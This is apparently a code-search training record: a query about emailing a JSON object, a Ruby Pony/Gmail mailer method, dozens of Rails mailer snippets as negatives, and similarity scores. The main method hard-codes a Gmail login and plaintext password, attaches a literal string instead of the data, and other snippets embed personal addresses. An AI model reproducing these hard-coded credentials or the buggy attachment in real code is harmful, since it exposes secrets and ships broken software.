'http://www.projecthelp.co/inbox/' + convoID.to_s\n\n \tmail :to\t\t=> user.email,\n :subject\t=> \"New message from \" + @sender.first_name\n end", "def send!\n raise \"job #{job.backup_id} has no email option\" unless job.options[:email]\n # define local variables for closure over Mail.new\n from_address = settings['email_from']\n to_address = job.options[:email]\n subject_text = \"Backup of RDS #{job.rds_id} (job ID #{job.backup_id})\"\n body_text = body\n mail = Mail.new do\n from from_address\n to to_address\n subject subject_text\n body \"#{body_text}\\n\"\n end\n mail.deliver!\n end", "def send_mail\n @message = params[:message]\n user = User.find_by_email('lucev.ivan@gmail.com')\n ContactMailer.contact_message(user, @message).deliver\n redirect_to :back, :notice => 'Uspješno poslan email'\n end", "def sendmail(object)\n email\n end", "def partner_subscription_confirmation(potential_partner)\n attachments.inline['passportfitnessdc.png'] = File.read('/Users/nathanhall/Desktop/PassportFitness/PassportFitnessDC/public/images/passportfitnessdc.png')\n @potential_partner = potential_partner\n mail to: \"#{potential_partner.studio_name} <#{potential_partner.email}>\", subject: \"Thank you for your interest in Passport Fitness D.C.\"\n end", "def send_email(user, user_url)\n user.recipients.each do |recipient|\n @recipient = recipient\n @user = user\n @executor = user.executors.first\n @user_url = user_url\n mail( \n :to => @recipient.email,\n :subject => 'Our Condolences') do |format|\n format.html {render 'send_email' }\n format.text { render 'send_plain_email'}\n end\n end\n end", "def mail(from, to, body, options={})\n @client.mail from, to, body, options\n end", "def download_email email_address, download_link, type\n @download_link = download_link\n @type = type\n\n case @type\n when \"default\"\n subject = 'Link to browse and download country data'\n @body = 'Click the link below to browse and download data for your country of interest on the Open Data Portal.'\n when \"country-stats\"\n subject = 'Link to download tree cover statistics'\n @body = 'Click the link below to download tree cover statistics for your country of interest.'\n when \"forest-change\"\n subject = 'Link to download data'\n @body = 'Click the link below to download data from your recent analysis on GFW.'\n else\n subject = 'Link to browse and download country data'\n @body = 'Click the link below to browse and download data for your country of interest on the Open Data Portal.'\n end\n\n mail :subject => subject,\n :to => email_address,\n :from => 'gfw@wri.org'\n end", "def do_email\n @delivery = Delivery.find(params[:id])\n @email = params[:email]\n \n Notifier.delivery(@email, @delivery).deliver\n \n flash[:notice] = \"The delivery has been sent successfully.\"\n redirect_to \"/deliveries/#{@delivery.id}\"\n end", "def send_email(user, link)\n @user = user\n @link = link\n mail( :to => @user.email,\n :subject => 'You have a new assignment' )\n end" ]
[ "0.75949174", "0.7006693", "0.6991517", "0.6812473", "0.67422605", "0.6665113", "0.6662956", "0.6589446", "0.6575592", "0.6488019", "0.637528", "0.63480085", "0.6231508", "0.62107563", "0.619263", "0.6165146", "0.61543673", "0.61523694", "0.6135452", "0.6134288", "0.61196935", "0.61056376", "0.60935026", "0.60886586", "0.6076985", "0.60604614", "0.604818", "0.604262", "0.60341763", "0.6020993", "0.60142267", "0.6008062", "0.60079867", "0.60072076", "0.59853005", "0.59827673", "0.59728146", "0.5962282", "0.5957403", "0.59538084", "0.59518033", "0.5945551", "0.59429795", "0.59306157", "0.5921577", "0.58967936", "0.58907306", "0.5879858", "0.58614945", "0.5861134", "0.5855643", "0.5854496", "0.58471453", "0.5846039", "0.5843557", "0.58377725", "0.5830763", "0.5817528", "0.581401", "0.58112186", "0.58087844", "0.58086956", "0.579939", "0.5792244", "0.5789669", "0.5778537", "0.5777271", "0.5769256", "0.5766686", "0.57593817", "0.5741286", "0.5737539", "0.57312405", "0.57238233", "0.5722678", "0.5713157", "0.5703559", "0.5703308", "0.56893253", "0.5688075", "0.56854624", "0.56772447", "0.5673587", "0.5663761", "0.56621426", "0.5644749", "0.56420296", "0.56336546", "0.56322855", "0.56315374", "0.5629947", "0.56226766", "0.56188375", "0.561793", "0.56169564", "0.5613806", "0.56085914", "0.56054276", "0.5604601", "0.56003356" ]
0.7974564
0
Send a jsonobject to the given email address
def send_email_by_passing_jsonobject(sendto, json_object, filename) Pony.mail({ :to => sendto, :from => 'Magic Team', :subject => 'Your web scrapper successfully finished', :body => 'Thanks for using web scrapper service offered by MAGiC', :attachments => {filename => "json_object"}, :via => :smtp, :via_options => { :address => 'smtp.gmail.com', :port => '587', :enable_starttls_auto => true, :user_name => 'osu.magic.team@gmail.com', :password => 'OSUCSE3901', :authentication => :plain, # :plain, :login, :cram_md5, no auth by default :domain => "localhost.localdomain" # the HELO domain provided by the client to the server }, }) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def send(email_name, email_to, data = {})\n payload = {\n :email_name => email_name,\n :email_to => email_to,\n :email_data => data\n }\n return api_request(\"send\", payload)\n end", "def sendmail(object)\n email\n end", "def send_email_through_data(gmail)\n gmail = gmail\n read_hash(gmail,read_json)\n end", "def send_email(data = {})\n assign_properties(data)\n\n self\n end", "def email_json\n {\n key: ENV['MANDRILL_API_KEY'],\n message: {\n to: @to,\n from_email: @from_email,\n from_name: @from_name,\n subject: @subject,\n text: @text\n }\n }.to_json\n end", "def send_transactional_email(email, template, email_vars)\n endpoint = \"/api/v1/send/\"\n base_params = base_params(endpoint)\n params = {\n \"email\" => email,\n \"template\" => template,\n \"email_vars\" => email_vars.to_json\n }\n uri = post_api_uri(endpoint)\n http = setup_request(uri)\n result = http.post(uri.path, base_params.merge(params).to_query)\n JSON.parse(result.body)\n end", "def send_receipt_email(json_input, email_service)\n # Check that input is not empty, otherwise continue\n halt 400, 'Invalid request - no JSON given' if json_input.empty?\n\n # Check that required params are passed\n txn_id = json_input['txn_id']\n cust_email = json_input['customer_email']\n cust_name = json_input['customer_name']\n\n # cust_name not required - check for everything else\n return_error 400, 'Invalid request - required params not passed' if\n txn_id.nil? || cust_email.nil? || txn_id.empty? || cust_email.empty?\n\n result = email_service.send_email txn_id, cust_name, cust_email\n if result\n log_info 'Email dispatched'\n status 201\n { result: 'success' }.to_json\n else\n log_info 'Something went wrong while sending email'\n return_error 500, 'Email not sent'\n end\n end", "def send_message(message)\n message = JSON.parse(message)\n params = {email:message[\"email\"],project:message[\"project\"],event:message[\"event\"],count:message[\"count\"]}\n @connection.get '/activities', params\n end", "def send_notification\n @emails = EmployeeEmail.all\n if @emails == []\n return\n else\n #rather unwise to have my api key just sitting here in the code, need to check if a new api-key can be generated\n RestClient.post \"https://api:key-5f4ada711a8a86a1292bcfe23aa9d0aa\"\\\n \"@api.mailgun.net/v2/sandbox3fcc0ad1e9ee457da78753f228405f7e.mailgun.org/messages\",\n :from => \"Excited User <mailgun@sandbox3fcc0ad1e9ee457da78753f228405f7e.mailgun.org>\",\n :to => send_who_us,\n :subject => \"Ovuline Notification Test\",\n #ack! I need to find a way to get @company info into this next line\n :text => \"This is the Ovuline Notification System test message! A company (need to make this more specific) has submitted information to the Quotes Table! Is that former sentence incomplete or otherwise incorrect? Oh no! A bug!\"\n end\n end", "def send_simple_message\n user_email = params[ :from ]\n subject = params[ :subject ]\n text = params[ :text ]\n\n mailgun_api = Rails.application.secrets.secret_mailgun_api\n RestClient.post 'https://api:' + \"#{mailgun_api}\" +\n '@api.mailgun.net/v3/aondebrasil.com/messages',\n from: user_email,\n to: 'contato@aondebrasil.com',\n subject: subject,\n text: text\n\n respond_to do |format|\n format.json { render json: \"enviado\".to_json }\n end\n end", "def deliver\n response = Curl.post(BASE_URL + 'messages/send.json', email_json)\n response = JSON.parse(response.body)\n @response = response.is_a?(Array) ? response.first : response\n end", "def send_message\n Pony.mail({\n :from => params[:email], \n :to => 'info_the_lodge@gmail.com',\n :subject => params[:email] + \" has contacted you - Phone: \" + params[:phone], \n :body => params[:email] + params[:message],\n :via => :smtp,\n :via_options => {\n :address => 'smtp.gmail.com', \n :port => '587', \n :enable_starttls_auto => true,\n :user_name => 'info_the_lodge',\n :password => 'secret',\n :authentication => :plain,\n :domain => 'localhost.localdomain'\n }}) \n end", "def notify(data)\n puts data[:email]\n @body = data[:body]\n mail to: data[:email], subject: data[:subject]\n end", "def send_to_user(email)\n @email = email\n mail(:to => email.user_email, :subject => 'Your email has been sent!')\n end", "def send_message_email\n requires_user_can :edit, task\n users = User.where(email: params[:recipients])\n sent_to_users = []\n users.each do |user|\n sent_to_users << user.email\n GenericMailer.delay.send_email(\n subject: params[:subject],\n body: params[:body],\n to: user.email,\n task: task\n )\n end\n trigger_email_sent_event(task)\n d = Time.now.getlocal\n initiator = current_user.email\n render json: {\n letter_template: {\n to: sent_to_users,\n from: initiator,\n date: d.strftime(\"%h %d, %Y %r\"),\n subject: params[:subject],\n body: params[:body]\n }\n }\n end", "def postEntitySend_email( entity_id, gen_id, from_email, subject, content)\n params = Hash.new\n params['entity_id'] = entity_id\n params['gen_id'] = gen_id\n params['from_email'] = from_email\n params['subject'] = subject\n params['content'] = content\n return doCurl(\"post\",\"/entity/send_email\",params)\n end", "def send_contact_mail(conatct_email_object)\n c= Contact.select(\"email,name\").find(conatct_email_object.contact_id)\n\n @greeting = \"Hi #{c.name}\"\n @message = conatct_email_object.message\n\n mail to: \"#{c.email}\",subject:conatct_email_object.subject\n end", "def postEmail( to_email_address, reply_email_address, source_account, subject, body, html_body)\n params = Hash.new\n params['to_email_address'] = to_email_address\n params['reply_email_address'] = reply_email_address\n params['source_account'] = source_account\n params['subject'] = subject\n params['body'] = body\n params['html_body'] = html_body\n return doCurl(\"post\",\"/email\",params)\n end", "def jobs_notifier(email_list)\n @listed_jobs = JobPosting.where(created_at: (Time.now.midnight-5.days)..(Time.now))\n @greeting = \"Hi\"\n headers['X-SMTPAPI'] = { :to => email_list.to_a }.to_json\n mail(\n :to => \"info@ourcompany.com\",\n :subject => \"New Job Posted!\"\n )\n \n end", "def send_message(message)\n @message = message\n mail to: \"colinsmix@gmail.com\", from: @message['email'], subject: \"Message Received from Music Blog Gatherer\"\n end", "def send(template_name, email, vars, options = {}, schedule_time = nil)\n post = {}\n post[:template] = template_name\n post[:email] = email\n post[:vars] = vars\n post[:options] = options\n post[:schedule_time] = schedule_time if schedule_time\n result = self.api_post(:send, post)\n end", "def send_request(from, to, title, message)\n RestClient.post API_URL+\"/messages\",\n :from => from.email,\n :to => to.email,\n :subject => \"UROP Application for \"+title+\" from \"+from.first_name+\" \"+from.last_name,\n :text => message\n end", "def send_email(data)\n @type = data[:type]\n @message = data[:message]\n @name = data[:name]\n @from = data[:email]\n \n mail(\n :from => @from, \n :reply_to => @from,\n :subject => \"#{@type} - contact form on project.shearn89.com\"\n )\n end", "def especial_suggest(obj,correo)\n @body_data = obj\n\n mail to: correo\n end", "def email_payload\n {\n personalizations: [\n {\n to: [\n email: @to,\n name: @to_name\n ]\n }\n ],\n from: {\n email: @from,\n name: @from_name\n },\n subject: @subject,\n content: [\n {\n type: 'text/plain',\n value: @body\n }\n ]\n }.to_json\n end", "def post_email(sg_mail)\n sg = SendGrid::API.new(api_key: Rails.application.secrets.email_key, host: 'https://api.sendgrid.com')\n begin\n response = sg.client.mail._('send').post(request_body: sg_mail.to_json)\n rescue SocketError\n if Rails.env.test?\n # not connected to the internet - so just allow it to continue.\n return Response.new(OfflineResponse.new)\n end\n end\n response\n end", "def new_suggest(obj,correo)\n @body_data = obj\n\n mail to: correo\n end", "def send_email(resource,metric_info,dimension_info,url,metric_type)\n @user = resource \n @info = metric_info\n @dimension_info = dimension_info\n @url = url\n @metric_type = metric_type\n mail(:to => resource.email, :subject => \"Databot Websites Data\",:from => \"noreply@databot.com\")\n end", "def send_message\n response = RestClient::Request.new(\n :method => :post,\n :url => \"https://api.twilio.com/2010-04-01/Accounts/#{ENV['TWILIO_ACCOUNT_SID']}/Messages.json\",\n :user => ENV['TWILIO_ACCOUNT_SID'],\n :password => ENV['TWILIO_AUTH_TOKEN'],\n :payload => { :Body => body,\n :To => Contact.find(self.contact_id).number,\n :From => ENV['USER_NUMBER'] }\n ).execute\n end", "def send_transactional_email(email, template, email_vars)\n endpoint = \"/api/#{@version}/send/\"\n email_vars['sub_environment'] = GlobalConstant::Base.main_sub_environment? ?\n GlobalConstant::Environment.mainnet_url_prefix :\n GlobalConstant::Environment.testnet_url_prefix\n custom_params = {\n \"email\" => email,\n \"template\" => template,\n \"email_vars\" => email_vars.to_json\n }\n make_post_request(endpoint, custom_params)\n end", "def set_email email, key\n opts = {:single_quoted => false}\n params = {\n :query => {\n \"ClientToken\" => self.token,\n \"EmailAddress\" => Type::String.safe_value(email, opts),\n \"PersonKey\" => Type::String.safe_value(key, opts)\n }\n }\n put 'set_email.php', params\n end", "def send_request\n message_request = mail_params\n puts \"#############################################\"\n p message_request[:messages].values\n sender = message_request[:sender]\n messages = message_request[:messages]\n messages = messages.to_hash.map { |m| m[1] }\n\n mailing_service = GoogleApiServices::MailingService.new(google_auth_client)\n mailing_service.send(sender: sender, messages: messages)\n end", "def mailboxer_email(_object)\n email\n end", "def send_email(message)\n @message = message\n mail to: \"china@pozitive.biz, coddeys@gmail.com\", subject: \"Request from website\"\n end", "def push(type, email, payload)\n @client.send(:push_to_contact, type, email, payload)\n end", "def send_message(message)\n send_queue_message(\n address, (valid_json?(message) ? message : message.to_json), sqs\n )\n end", "def work(raw_post)\n email_params = JSON.parse(raw_post).with_indifferent_access\n send_simple_message(params)\n ack! # we need to let queue know that message was received\n end", "def event_info_email(user)\n mail( to: user.email,\n subject: \"Your Event info\",\n @body['contract'] => contract\n )\n end", "def show\n json_response(@email)\n end", "def contact\n Site.contact(params).deliver\n render :json => {:ok => true}.to_json\n rescue\n render :json => {:ok => false}.to_json\n end", "def send_message(subject, text, campaign_id, to_email)\n ret_msg = nil\n if !to_email.blank?\n begin\n response = RestClient.post \"#{BASE_URI}/messages\",\n :from => \"Mailgun Test User <xxxx@xxxxxxx.com>\",\n :to => to_email,\n :subject => subject,\n :html => \" #{text} <br/> A <a href='http://www.google.com'>sample link</a> is atttached \n to test the click event of the email link.\",\n \"o:campaign\" => campaign_id\n ret_msg = response.code == 200 ? \"Success\" : \"Failed\"\n rescue Exception => e\n Rails.logger.debug e.message\n end\n end\n ret_msg\n end", "def mail\n @transaction = Transaction.find(params[:id])\n \n @transaction.steps.each do |step|\n StepMailer.deliver_uome_email(step) if step.to.email.present?\n end\n render :json => []\n end", "def contact_request\n @greeting = \"Hi\"\n\n mail to: \"to@example.org\"\n end", "def send_email(email_kind, recipient, subject, task = nil)\n Emailer.send(:\"deliver_#{email_kind}\", recipient, subject, task)\n return if request.xhr?\n flash[:notice] = \"Messages succesfully sent\"\n end", "def review_request(user)\n @greeting = \"Hi\"\n\n mail to: \"to@example.org\"\n end", "def send_email\r\n if User.exists? params[:id]\r\n @email_to_usr = User.find(params[:id])\r\n if params[:commit]\r\n if @sending_res = profile_mail_sending(params, @email_to_usr)\r\n return if @sending_res.kind_of? Hash\r\n redirecting(t(:email_redir), session[:last_page])\r\n else\r\n redirect_to_info_page t(:email_error)\r\n end\r\n return\r\n end\r\n else\r\n redirect_to_info_page\r\n end\r\n end", "def new_message(obj)\n @obj = obj\n @admin_recipients = User.role_users(:admin).map(&:email)\n @author_recipients = User.role_users(:author).map(&:email)\n @recipients = @admin_recipients\n emails = @recipients.join(\",\")\n m = [\"pr.cr_pmcbl@hotmail.com\",\"rhcsa2012@gmail.com\",\"dilokvilas@gmail.com\",\"natthaphon.v@pmcblueline.com\",\"prajak.o@pmcblueline.com\",\"chayant.m@hotmail.com\",\"thinrachwansa@hotmail.com\",\"naruemit.k@gmail.com\"].join(\",\")\n mail to: m\n end", "def success(user, account)\n @greeting = \"Successfully retrieved data for your account - #{account.inspect}\"\n\n mail to: user.email\n end", "def book_request(user)\n @greeting = \"Hi\"\n\n mail to: \"to@example.org\"\n end", "def order_send(order)\n @greeting = \"Hi\"\np 1111111111\np order\n @orde_email = order.email\n\n mail(:to => order.email, :subject => \"Your Order\")\n end", "def mail(email)\n \n client = SendGrid::Client.new do |c|\n c.api_key = ENV['SENDGRID_API_KEY']\n end\n\n mail = SendGrid::Mail.new do |m|\n # Specify to whom you are sending with the Email object\n m.to = 'shefseth@gmail.com'\n m.from = email.c_email \n m.subject = 'Guest Comments' \n #passing the 'first name' into the body of email\n m.text = email.c_comments \n end\n \n res = client.send(mail) \n puts res.code\n puts res.body \n \nend", "def mailboxer_email(object)\n email\n end", "def mailboxer_email(object)\n email\n end", "def create \n @json = Hash.new\n\n @json[:name] = params[:name]\n @json[:subject] = params[:subject]\n @json[:message] = params[:message]\n\n FormMailer.message_mail(@json[:subject], @json[:name], @json[:message]).deliver\n\n redirect_to root_path\n \n end", "def send_test\n email = Email.find(params[:id])\n @templet = email\n \n if request.post?\n begin\n recip = Recipient.new\n recip.email = params[:recipient][:email]\n \n Notifier::deliver_status_notify(:project => @project, :recipient => recip, :email => email)\n \n flash[:notice] = \"Test e-mail sent successfully!\"\n redirect_to :action => 'index'\n rescue\n flash.now[:error] = \"Unable to send the test email! \" + $!\n end\n end\n end", "def create\n \n txtresponse = ''\n to = params[:to]\n subject = params[:subject]\n body = params[:body]\n \n if to.to_s == ''\n\t \ttxtresponse= '\"to\" field missing'\n\t end\t\n if subject.to_s == ''\n\t \ttxtresponse= txtresponse + ' \"subject\" field missing'\n\t end\t\n\t if body.to_s == ''\n\t \ttxtresponse= txtresponse + ' \"body\" field missing'\n end\n if txtresponse == ''\n txtresponse = 'Success'\n end\n \n @sendmail = Sendmail.new(to, subject, body, txtresponse) \n\t \n\t if txtresponse == 'Success'\n UserMailer.send_email(to, subject, body ).deliver\n puts 'Mail Sent'\n respond_to do |format| \n format.json { render :show, status => 200 }\n end\n else\n puts txtresponse\n respond_to do |format| \n format.json { render :show, status: :bad_request}\n end\n end\t \n end", "def send\n begin\n response = RestClient.post \"https://api:#{ENV['MG_API_KEY']}\"\\\n \"@api.mailgun.net/v3/#{ENV['MG_DOMAIN']}/messages\",\n from: \"#{@params['from_name']} <#{@params['from']}>\",\n to: \"#{@params['to_name']}, #{@params['to']}\",\n subject: \"#{@params['subject']}\",\n html: \"#{ActionController::Base.helpers.sanitize(@params[\"body\"])}\"\n rescue RestClient::ExceptionWithResponse => e\n @errors = e.response\n end\n end", "def post_email(to_email, user)\n \tif user.name && user.full_name\n \t\ttext = \"#{user.full_name} (#{user.name}) posted to #{user.provider.capitalize} using Coupon Sociable!\"\n \telse\n \t\ttext = \"#{user.full_name} posted to #{user.provider.capitalize} using Coupon Sociable!\"\n \tend\n \t\n mail( :to => to_email, \n :subject => text,\n :body => text)\n end", "def send(template_name, email, vars, options = {}, schedule_time = nil)\n @client.send(template_name, email, vars, options, schedule_time)\n rescue Exception => e\n \"Exception while invoking send: #{e.message}\"\n end", "def deliverForm data\n @fromContact = data['fromContact']\n @data = data\n tomail = data['toEmail'].length > 0 ? data['toEmail'] : 'saisagarkache@gmail.com'\n\n mail(to: tomail, subject: data['fromContact'] || 'Want to be a Partner')\n end", "def postEntityEmail( entity_id, email_address, email_description)\n params = Hash.new\n params['entity_id'] = entity_id\n params['email_address'] = email_address\n params['email_description'] = email_description\n return doCurl(\"post\",\"/entity/email\",params)\n end", "def alert_email(user)\n @user = user\n mail( :to => 'amalaquina@kreitech.io',\n :subject => 'You have a request from: '+ @user.email )\n end", "def send_email\n mail = {\n :to => TO_ADDRESS,\n :from => from_email,\n :body => body,\n :subject => \"Comment on Docket 09-51 from #{@comment[:name]}\"\n }\n Pony.mail(mail)\n end", "def welcome_email(user)\n RestClient.post API_URL+\"/messages\",\n :from => \"postmaster@sandbox1152.mailgun.org\",\n :to => user.email,\n :subject => \"Welcome to Urop.io\",\n :text => \"Thanks for signing up\"\n end", "def email; end", "def email; end", "def email; end", "def email; end", "def email_link_to(obj)\n link_to(\"#{obj.name? ? h(obj.name) : h(obj.email)}\", \"mailto:#{h(obj.email)}\")\n end", "def profile_email(user)\n @user = user\n @url = 'http://localhost:3000'\n mail(to: @user.email, subject: 'Welcome to CloudTrendz')\n end", "def follow_up_alert(email, name, body, body_part2, location_link)\n @name = name \n @body = body\n @body_part2 = body_part2\n @location_link = location_link\n\n mail to: email, subject: \"Follow-up info from Grapevine\", from: \"erik@pickgrapevine.com\", reply_to: \n \"erik@pickgrapevine.com\"\n\n end", "def send_contact(name, email, company, phone, subject, message)\n @greeting = message\n\n mail to: \"prawdzik@domekmlodosci.pl\", subject: \"#{name}, #{email}, #{phone} #{\", \" + company} - #{subject}\"\n end", "def mailboxer_email(object)\n\t email\n\tend", "def sub_request\n @greeting = \"Hi\"\n\n mail to: \"to@example.org\"\n end", "def email\n @json['profile']['email'] rescue nil\n end", "def email(cdn, e)\n data = JSON.load REDIS[cdn]\n link = \"http://logserver.flocasts.com/#{cdn.to_sym.object_id}\"\n\n tox = data['server_admins']\n from = 'flocast.bordercollie@gmail.com'\n subj = '[ERROR] ' + cdn\n text = [link, \"\\n\", e.message, e.class, e.backtrace].join \"\\n\"\n\n Gmail.new from, 'flocastayo' do |gmail|\n gmail.deliver do\n to tox\n subject subj\n text_part { body text }\n end\n end\nend", "def send_email(email_id, to, options = {})\n if email_id.nil?\n raise SendWithUs::ApiNilEmailId, 'email_id cannot be nil'\n end\n\n payload = {\n email_id: email_id,\n recipient: to\n }\n\n if options[:data] && options[:data].any?\n payload[:email_data] = options[:data]\n end\n if options[:from] && options[:from].any?\n payload[:sender] = options[:from]\n end\n if options[:cc] && options[:cc].any?\n payload[:cc] = options[:cc]\n end\n if options[:bcc] && options[:bcc].any?\n payload[:bcc] = options[:bcc]\n end\n if options[:esp_account]\n payload[:esp_account] = options[:esp_account]\n end\n if options[:version_name]\n payload[:version_name] = options[:version_name]\n end\n if options[:headers] && options[:headers].any?\n payload[:headers] = options[:headers]\n end\n if options[:tags] && options[:tags].any?\n payload[:tags] = options[:tags]\n end\n if options[:locale]\n payload[:locale] = options[:locale]\n end\n\n if options[:files] && options[:files].any?\n payload[:files] = options[:files].map do |file_data|\n SendWithUs::File.new(file_data).to_h\n end\n end\n\n SendWithUs::ApiRequest.new(@configuration).post(:send, payload.to_json)\n end", "def create\n @email = Email.new(params[:email])\n\n respond_to do |format|\n\n if @email.save\n\n format.html { redirect_to @email, notice: 'Thanks for writing, I\\'ll be in touch soon :-)' }\n format.json { render json: @email, status: :created, location: @email }\n EmailMailer.lets_talk(@email).deliver\n else\n format.html { render action: \"new\" }\n format.json { render json: @email.errors, status: :unprocessable_entity }\n end\n end\n end", "def send_email(final_location,user_email)\n\n#This variable is used to store the email headers\nmessage =<<EOF\nFrom: LUCNHINATOR! <FROM@gmail.com>\nTo: RECEIVER <TO@gmail.com>\nSubject: Your Lunch Location!\nThe following are information regarding your lunch location\nEOF\n\n\n #Using Block\n smtp = Net::SMTP.new('smtp.gmail.com', 587 ) #intialise the SMTP gmail protocol to be used\n smtp.enable_starttls #To start the TTL\n smtp.start('gmail.com', 'lunchinatorassignment@gmail.com', 'lunchinator2019', :login) do |smtp| #After logging in,it would start to create the email and send it\n smtp.send_message (message + \"\\n Location Name: \" + final_location.name + \"\\n Location Address: \" + final_location.address + \"\\n Cuisine Type: \" + final_location.cuisine + \"\\n Healthy option?: \" + final_location.healthy + \"\\n Halal or Non-Halal: \" + final_location.halal + + \"\\n Price Range: \" + final_location.price ) ,'lunchinatorassignment@gmail.com', user_email\n #The line above is used to send the email using the given message structure.\n #The sender email and user_email is defined as the last 2 values in the line.\n #lunchinatorassignment@gmail.com is the sender email and the user_email is the recipient\n\n\n smtp.finish #end the process\n end\nend", "def food_mail(email)\n\n @url = 'http://foodcircles.net/?app=mobile_email'\n mail(:to => email, :reply_to => 'jk@joinfoodcircles.org', :subject => \"Your hunger is powerful.\")\n end", "def send_email(to, subject, content)\r\n\r\n end", "def to_email_address=(value)\n @to_email_address = Array.new\n unless value.nil? || value.empty?\n value.each do |v1|\n if v1.instance_of? AddressJson\n @to_email_address.push(v1)\n end\n end\n end\n end", "def send_mail\n logger.debug \"[send_mail] - Access token: #{session[:access_token]}\"\n\n # Used in the template\n @name = session[:name]\n @email = params[:specified_email]\n @recipient = params[:specified_email]\n @mail_sent = false\n\n send_mail_endpoint = URI(\"#{GRAPH_RESOURCE}#{SENDMAIL_ENDPOINT}\")\n content_type = CONTENT_TYPE\n http = Net::HTTP.new(send_mail_endpoint.host, send_mail_endpoint.port)\n http.use_ssl = true\n\n # If you want to use a sniffer tool, like Fiddler, to see the request\n # you might need to add this line to tell the engine not to verify the\n # certificate or you might see a \"certificate verify failed\" error\n # http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n\n email_body = File.read('app/assets/MailTemplate.html')\n email_body.sub! '{given_name}', @name\n email_subject = t('email_subject')\n\n logger.debug email_body\n\n email_message = \"{\n Message: {\n Subject: '#{email_subject}',\n Body: {\n ContentType: 'HTML',\n Content: '#{email_body}'\n },\n ToRecipients: [\n {\n EmailAddress: {\n Address: '#{@recipient}'\n }\n }\n ]\n },\n SaveToSentItems: true\n }\"\n\n response = http.post(\n SENDMAIL_ENDPOINT,\n email_message,\n 'Authorization' => \"Bearer #{session[:access_token]}\",\n 'Content-Type' => content_type\n )\n\n logger.debug \"Code: #{response.code}\"\n logger.debug \"Message: #{response.message}\"\n\n # The send mail endpoint returns a 202 - Accepted code on success\n if response.code == '202'\n @mail_sent = true\n else\n @mail_sent = false\n flash[:httpError] = \"#{response.code} - #{response.message}\"\n end\n\n render 'callback'\n end", "def send_email\n g = GmailSender.new(USER_NAME, PASSWORD)\n\n g.send(:to => to,\n :subject => @subject,\n :content => full_content)\n end", "def create\n @email_update = EmailUpdate.new(params[:email_update])\n\n respond_to do |format|\n if @email_update.save\n @emailList = Email.pluck(:email)\n @emailList.each do |recipient|\n UserMailer.info_email(@email_update.subject, @email_update.message, recipient).deliver \n end\n format.html { redirect_to @email_update, notice: 'Email update was successfully created.' }\n format.json { render json: @email_update, status: :created, location: @email_update }\n else\n format.html { render action: \"new\" }\n format.json { render json: @email_update.errors, status: :unprocessable_entity }\n end\n end\n end", "def mailman\n a = RestClient.post \"https://api:03ee8a853e31d8648cf06b82f7c30dcb-3d0809fb-3486193e\" \\\n\t \"@api.mailgun.net/v3/sandbox023900a156f3425e819b872335392423.mailgun.org/messages\",\n :from => \"MPPP MAILER BOT <yannick.mvondo@paiemequick.com>\",\n :to => \"mvondoyannick@gmail.com\",\n :subject => \"Hello\",\n :text => params[:lorem]\n\n if a.code == 200\n redirect_to dashboard_path, notice: \"Mail sended\"\n else\n redirect_to dashboard_path, notice: \"Impossible to send mail\"\n end\n end", "def send_message(kind, phone_number = params[:phone_number], email = params[:email], location_id = nil)\n raise \"Neither email nor phone_number were given\" if phone_number.blank? && email.blank?\n\n # If the location isn't mentioned explicitly, use the one this user is assigned to\n location_id ||= choose_location\n \n result = { }\n \n # Send message and / or e-mails\n messaging = Messaging.new(current_account)\n unless phone_number.blank?\n session_message = messaging.send(\"send_#{kind}\", normalize_phone(phone_number), location_id)\n result[:message_id] = session_message.id\n end\n messaging.send(\"send_#{kind}_email\", normalize_email(email), location_id) unless email.blank?\n\n # Add usage info\n result[:usage] = usage_info\n \n render :text => result.to_json\n end", "def call(user, email, reward, shipping_address)\n @user = user\n @reward = reward\n # admin = \"astropowerbox@gmail.com\"\n admin = \"news.article.sysetm@gmail.com\"\n @shipping_address = shipping_address\n mail to: email, subject: 'Redemption details'\n end", "def do_email\n @viatico = Viatico.find(params[:id])\n @email = params[:email]\n \n Notifier.viatico(@email, @viatico).deliver\n \n flash[:notice] = \"The viatico has been sent successfully.\"\n redirect_to \"/viaticos/#{@viatico.id}\"\n end", "def add_email(*args)\n params = _extract_parameters(args)\n params['data'] = [args].flatten\n post(\"/user/emails\", params)\n end", "def send data\n self.send(data.to_json)\n end", "def response(expo_attendee_id)\n @expo_attendee = ExpoAttendee.find(expo_attendee_id)\n mail(to: @expo_attendee.email, subject: \"#{@expo_attendee.first_name} , you've entered the draw to win two free movie tickets.\")\n end", "def mail_method(data,email,subject)\n @body=data\n mail(to: email, subject: subject)\n end", "def koop_beheer(object, profile, orderid, ourl, aurl, verzendmethode, sent_at = Time.now)\n @name = \"#{profile.voornaam} #{profile.achternaam}\"\n @adres = \"#{profile.prive_adres}, #{profile.prive_postcode} #{profile.prive_woonplaats}\"\n @telefoon = profile.prive_telefoonnummer\n @prijs = object.prijs\n @orderid = orderid\n @verzendmethode = verzendmethode\n @object_url = ourl\n @admin_url = aurl\n mail(to: %w{rene@xposers.nl jasper@xposers.nl}, subject: \"[xposers: aankoop] #{object.title}\")\n end", "def mailboxer_email(object)\n #Check if an email should be sent for that object\n #if true\n email\n #if false\n #return nil\n end", "def send_email(msg, type, activity)\n req = \"type=#{type}&activity=#{activity}&input=\"\n req = req + URI.escape(msg)\n begin\n Net::HTTP.start('www.uptilt.com') do |query|\n response = query.post(\"/API/mailing_list.html\", req)\n @response = response.body\n end\n rescue\n @error = true\n @error_msg = \"Unable to connect to Email Labs.\"\n return false\n end\n end", "def send_email(name, message)\n @greeting = \"Hi\"\n @name = name \n @message = message\n \n mail to: \"ostadfree@gmail.com\"\n end", "def send_json label, obj\n # parse before send in case of issues\n message = obj.to_json\n @publisher.send_string label, ZMQ::SNDMORE\n @publisher.send_string message\n end", "def create\n @email = @autocrypt.prepare_outgoing(Email.new email_params)\n\n respond_to do |format|\n if @email.save\n format.html { redirect_to user_emails_path(@user), notice: 'Email was successfully send.' }\n format.json { render :show, status: :created, location: @email }\n else\n format.html { render :new }\n format.json { render json: @email.errors, status: :unprocessable_entity }\n end\n end\n end", "def send_sale_offer_form\n code = send_email(params[:id])\n message = code == '$err' ? t(:send_error) : t(:send_ok)\n @json_data = { \"code\" => code, \"message\" => message }\n render json: @json_data\n end" ]
